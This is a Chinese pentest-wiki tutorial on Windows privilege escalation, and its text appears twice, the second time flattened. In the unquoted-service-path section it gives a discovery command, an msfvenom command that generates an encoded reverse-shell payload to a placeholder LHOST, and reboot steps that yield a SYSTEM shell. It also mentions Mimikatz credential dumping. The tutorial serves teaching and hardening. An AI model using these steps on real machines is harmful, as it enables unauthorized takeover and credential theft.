Pentest Wiki Part5 提权
字数 1184 2025-08-29 08:32:00

Windows提权技术详解:从基础到实战

提权基础概念

提权定义

提权(Privilege Escalation)是指利用操作系统或应用软件中的程序错误、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是应用程序可以获取比预期更高的特权,从而执行授权外的动作。

提权分类

  1. 垂直特权提升(特权提升):低特权用户/应用访问高特权功能/内容
    • 例如:普通用户获取管理员权限
  2. 水平特权提升:普通用户访问其他普通用户的资源
    • 例如:用户A访问用户B的银行账户

Windows提权技术详解

1. 未加引号的服务路径(Unquoted Service Paths)

原理

当服务可执行文件路径未用引号括起且包含空格时,Windows会按特定顺序查找可执行文件。攻击者可在中间路径放置恶意程序。

检测方法

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

利用步骤

  1. 识别易受攻击的服务
  2. 检查目标文件夹权限(使用icacls命令)
  3. 生成并上传恶意payload
  4. 等待/触发服务重启
  5. 获取SYSTEM权限shell

权限检查示例

icacls "C:\Program Files (x86)\Program Folder"

关键权限标志:

  • F = 完全控制
  • CI = 容器继承
  • OI = 对象继承

Payload生成

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=<IP> LPORT=<PORT> -f exe -o A.exe

注意事项

  • 服务重启后payload会以SYSTEM运行
  • 需快速迁移进程以避免被服务管理器终止
  • 可能需要等待系统重启或使用shutdown /r /t 0强制重启

2. 其他常见提权技术

内核漏洞利用

  • 使用工具如Windows-Exploit-Suggester识别系统漏洞
  • 常见漏洞:MS08-067、MS17-010等

服务权限配置不当

  • 检查服务ACL(访问控制列表)
  • 可修改的服务二进制文件

计划任务

  • 检查计划任务配置不当
  • 可写入的计划任务脚本

注册表键值

  • 检查可写的注册表键
  • 特别是与服务相关的注册表项

密码攻击

  • 从内存中提取密码(Mimikatz)
  • 破解SAM文件

防御措施

系统层面

  1. 数据执行保护(DEP)
  2. 地址空间配置随机化(ASLR)
  3. 最小权限原则运行应用程序
  4. 内核模式代码签名要求
  5. 强制访问控制系统(如SE Linux)

管理层面

  1. 保持系统和软件最新补丁
  2. 使用防溢出编译器
  3. 实施软件和固件加密
  4. 定期安全审计服务配置
  5. 监控异常进程行为

实战工具推荐

  1. Windows-Exploit-Suggester:识别系统潜在漏洞
  2. PowerUp.ps1:自动化检查常见提权向量
  3. Mimikatz:凭据提取工具
  4. MSFVenom:Payload生成工具
  5. ICACLS:Windows权限检查工具

总结

Windows提权技术多种多样,关键在于:

  1. 全面信息收集(服务、权限、补丁等)
  2. 系统化检查每个可能的攻击面
  3. 选择合适的利用方法
  4. 谨慎操作避免触发防御机制

掌握这些技术不仅对渗透测试人员至关重要,对系统管理员加固系统安全同样具有重要参考价值。

Windows提权技术详解:从基础到实战 提权基础概念 提权定义 提权(Privilege Escalation)是指利用操作系统或应用软件中的程序错误、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是应用程序可以获取比预期更高的特权,从而执行授权外的动作。 提权分类 垂直特权提升 (特权提升):低特权用户/应用访问高特权功能/内容 例如:普通用户获取管理员权限 水平特权提升 :普通用户访问其他普通用户的资源 例如:用户A访问用户B的银行账户 Windows提权技术详解 1. 未加引号的服务路径(Unquoted Service Paths) 原理 当服务可执行文件路径未用引号括起且包含空格时,Windows会按特定顺序查找可执行文件。攻击者可在中间路径放置恶意程序。 检测方法 利用步骤 识别易受攻击的服务 检查目标文件夹权限(使用 icacls 命令) 生成并上传恶意payload 等待/触发服务重启 获取SYSTEM权限shell 权限检查示例 关键权限标志: F = 完全控制 CI = 容器继承 OI = 对象继承 Payload生成 注意事项 服务重启后payload会以SYSTEM运行 需快速迁移进程以避免被服务管理器终止 可能需要等待系统重启或使用 shutdown /r /t 0 强制重启 2. 其他常见提权技术 内核漏洞利用 使用工具如Windows-Exploit-Suggester识别系统漏洞 常见漏洞:MS08-067、MS17-010等 服务权限配置不当 检查服务ACL(访问控制列表) 可修改的服务二进制文件 计划任务 检查计划任务配置不当 可写入的计划任务脚本 注册表键值 检查可写的注册表键 特别是与服务相关的注册表项 密码攻击 从内存中提取密码(Mimikatz) 破解SAM文件 防御措施 系统层面 数据执行保护 (DEP) 地址空间配置随机化 (ASLR) 最小权限原则 运行应用程序 内核模式代码签名 要求 强制访问控制 系统(如SE Linux) 管理层面 保持系统和软件 最新补丁 使用 防溢出编译器 实施 软件和固件加密 定期 安全审计 服务配置 监控 异常进程行为 实战工具推荐 Windows-Exploit-Suggester :识别系统潜在漏洞 PowerUp.ps1 :自动化检查常见提权向量 Mimikatz :凭据提取工具 MSFVenom :Payload生成工具 ICACLS :Windows权限检查工具 总结 Windows提权技术多种多样,关键在于: 全面信息收集(服务、权限、补丁等) 系统化检查每个可能的攻击面 选择合适的利用方法 谨慎操作避免触发防御机制 掌握这些技术不仅对渗透测试人员至关重要,对系统管理员加固系统安全同样具有重要参考价值。